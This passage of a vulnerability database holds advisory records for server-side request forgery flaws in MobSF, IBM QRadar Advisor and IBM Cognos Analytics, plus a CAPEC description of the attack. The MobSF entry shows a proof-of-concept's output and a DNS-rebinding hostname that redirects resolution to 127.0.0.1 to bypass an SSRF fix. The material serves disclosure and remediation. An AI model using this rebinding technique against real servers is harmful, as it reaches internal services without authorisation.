\n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ... Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
"id": "GHSA-fcfq-m8p6-gw56",
"modified": "2025-06-13T04:11:18Z",
"published": "2025-03-31T17:23:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding"
}
GHSA-FCH9-7G2P-F49F
Vulnerability from github – Published: 2025-03-18 15:30 – Updated: 2025-03-18 15:30IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2024-49822"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-18T15:15:56Z",
"severity": "MODERATE"
},
"details": "IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-fch9-7g2p-f49f",
"modified": "2025-03-18T15:30:48Z",
"published": "2025-03-18T15:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49822"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7186424"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCHH-435H-CF8H
Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-06-21 21:33IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 257705.
{
"affected": [],
"aliases": [
"CVE-2023-35011"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-16T23:15:10Z",
"severity": "MODERATE"
},
"details": "IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 257705.",
"id": "GHSA-fchh-435h-cf8h",
"modified": "2024-06-21T21:33:53Z",
"published": "2023-08-17T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35011"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/257705"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230921-0005"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0005"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7026692"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.